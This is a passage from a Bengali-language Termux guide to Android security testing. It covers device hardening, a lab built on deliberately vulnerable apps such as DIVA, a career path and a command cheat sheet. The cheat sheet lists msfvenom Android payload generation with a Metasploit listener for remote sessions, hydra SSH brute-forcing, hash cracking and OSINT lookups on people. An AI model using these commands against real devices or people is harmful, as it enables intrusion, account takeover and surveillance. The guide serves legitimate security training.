# SSH key তৈরি করো (Password-এর বদলে) ssh-keygen -t ed25519 -C "termux@android" cat ~/.ssh/id_ed25519.pub # Termux SSH Server চালু করো (Password-less) pkg install openssh sshd # SSH server start # Port: 8022 (না 22) # File Encryption pkg install gnupg gpg --symmetric secret_file.txt # Encrypt gpg --decrypt secret_file.txt.gpg # Decrypt # Network Monitoring — কে কথা বলছে? netstat -an | grep ESTABLISHED ss -tp # Firewall rules (root required) iptables -L # Current rules iptables -A INPUT -p tcp --dport 8022 -j ACCEPT # Allow SSH iptables -A INPUT -j DROP # Block rest
```

🛡️ Chapter সারসংক্ষেপ

- 🔒 Encryption + 2FA + Strong Password = Basic Security
- 📲 Unknown APK install করো না — সবচেয়ে বড় Risk
- 🌐 Public WiFi-তে VPN ছাড়া কাজ করো না

CHAPTER 13

🏆 CTF Practice ও Lab Setup

Vulnerable Apps দিয়ে Safe Practice — Android Security Testing Lab

📱 Vulnerable Android Apps — Practice Target

App	কী শেখা যায়	Download	Level
DIVA	Android vuln সব ধরন	GitHub	Beginner
InsecureBankv2	Banking app vulnerabilities	GitHub	Medium
AndroGoat	OWASP Mobile Top 10	GitHub	Medium
MSTG Crackmes	Reverse Engineering	GitHub	Hard
HackTheBox Android	Real CTF challenges	htb.com	Hard

🧪 DIVA — সবার আগে এটা দিয়ে শুরু করো

```
# DIVA (Damn Insecure and Vulnerable App) download wget
https://github.com/0xArab/diva-apk-file/raw/master/DivaApplication.apk #
নিজের Phone-এ install করো adb install DivaApplication.apk # DIVA-র 13টি
Challenge: 01. Insecure Logging 02. Hardcoded Issues 03. Insecure Data
Storage (SharedPreferences) 04. Insecure Data Storage (SQLite) 05.
Insecure Data Storage (Temp Files) 06. Insecure Data Storage (External
Storage) 07. Input Validation Issues (SQLi) 08. Input Validation Issues
(XSS) 09. Access Control Issues 10. Insecure Data Storage (3rd Party
```

```
Libs) 11. Input Validation Issues (BufferOverflow) 12. Hardcoded Issues
(Part 2) 13. Input Validation Issues (SQL Injection — Part 2) # Challenge
3 — SharedPreferences solve করা: adb shell cat
/data/data/jakhar.aseem.diva/shared_prefs/*.xml
```

🌐 Online Practice Platforms

HackTheBox

- Android CTF machines
- APK challenges
- Real-world scenarios
- Free tier available

TryHackMe

- Guided Android rooms
- Step-by-step learning
- Beginner friendly
- Free + Premium

PortSwigger

- Mobile web testing
- API testing
- 100% Free
- Best for beginners

🏆 Chapter সারসংক্ষেপ

- 📱 DIVA দিয়ে শুরু করো — 13টি Challenge, সব কিছু আছে
- 🏆 HackTheBox = Real-world Android Hacking Practice
- 🌐 TryHackMe = Guided Learning, Beginner-দের জন্য সেরা

CHAPTER 14

Career Path, Resources ও Cheat Sheet

সম্পূর্ণ Termux Cheat Sheet, Career Guide এবং সেরা Resources

Career Path — Android Security

1

Month 1–2: Foundation

Termux setup, ADB, Android Architecture, DIVA practice

Termux | ADB | DIVA

2

Month 3–4: Tools

Metasploit, APK Analysis, Network Attacks, Hydra

Metasploit | apktool | MITM

3

Month 5–6: CTF

HackTheBox, TryHackMe Android challenges

HackTheBox | TryHackMe | CTF

4

Month 7+: Bug Bounty

HackerOne/Bugcrowd-এ Android App Bug Bounty শুরু করো

Bug Bounty | Android Pentest | 💰 Earning

📋 সম্পূর্ণ Termux Cheat Sheet

📦 Termux Basics

`pkg update && pkg upgrade`	System update
`pkg install [tool]`	Tool install
`termux-setup-storage`	Storage access
`proot-distro login kali`	Enter Kali Linux
`termux-wake-lock`	Keep screen alive

🗺 Network Recon

`nmap -sn 192.168.1.0/24`	Host discovery
`nmap -sV -sC [IP]`	Service scan
`netdiscover -r [range]`	ARP scan
`tcpdump -i wlan0 -w cap.pcap`	Packet capture
`whois [domain]`	Domain info

📲 APK Analysis

`apktool d app.apk -o out/`	Decompile APK
`jadx -d out/ app.apk`	Java decompile
`apktool b out/ -o new.apk`	Recompile APK
`grep -ri "api_key" out/`	Find secrets
`adb install app.apk`	Install APK

💣 Exploitation

`msfvenom -p android/... LHOST=X LPORT=4444 -o a.apk`	Android payload
`msfconsole -q`	Start Metasploit
`use exploit/multi/handler`	Start listener
`sessions -l`	List sessions
`sessions -i 1`	Enter session

🔑 Password Attack

`hydra -l admin -P rockyou.txt ssh://[IP]`	SSH brute
`hashcat -m 0 hash.txt wordlist.txt`	MD5 crack
`john --wordlist=list.txt hash.txt`	John crack
`cupp -i`	Custom wordlist
`crunch 8 8 0-9 -o nums.txt`	Generate wordlist

🕵 OSINT

`python3 sherlock [username]`	Username search
`holehe [email]`	Email OSINT
`phoneinfoga scan -n "+880..."`	Phone OSINT
`theHarvester -d target.com -b all`	Domain harvest
`shodan host [IP]`	Shodan lookup

📚 সেরা Resources

🆓 Free

- OWASP Mobile Testing Guide
- PortSwigger Web Academy

- TryHackMe (free tier)
- HackTheBox (free)
- YouTube: NetworkChuck
- NullByte.WonderHowTo.com

📖 Books

- Android Security Internals
- The Mobile Application Hacker's Handbook
- Android Hacker's Handbook
- Hacking APIs — Corey J Ball

🏅 Certifications

- eMAPT (eLearnSecurity)
- GMOB (GIAC)
- CEH (EC-Council)
- OSCP (Offensive Security)

📱 "Security is not a product, but a process — and Termux is your laboratory."

এই গাইড সম্পূর্ণ শিক্ষামূলক। সবসময় নিজের Device বা authorized Lab-এ Practice করো।

Android Hacking (Termux-based) — সম্পূর্ণ বাংলা গাইড

14 Chapters • Bilingual • Dark Mode • Full Cheat Sheet • Career Guide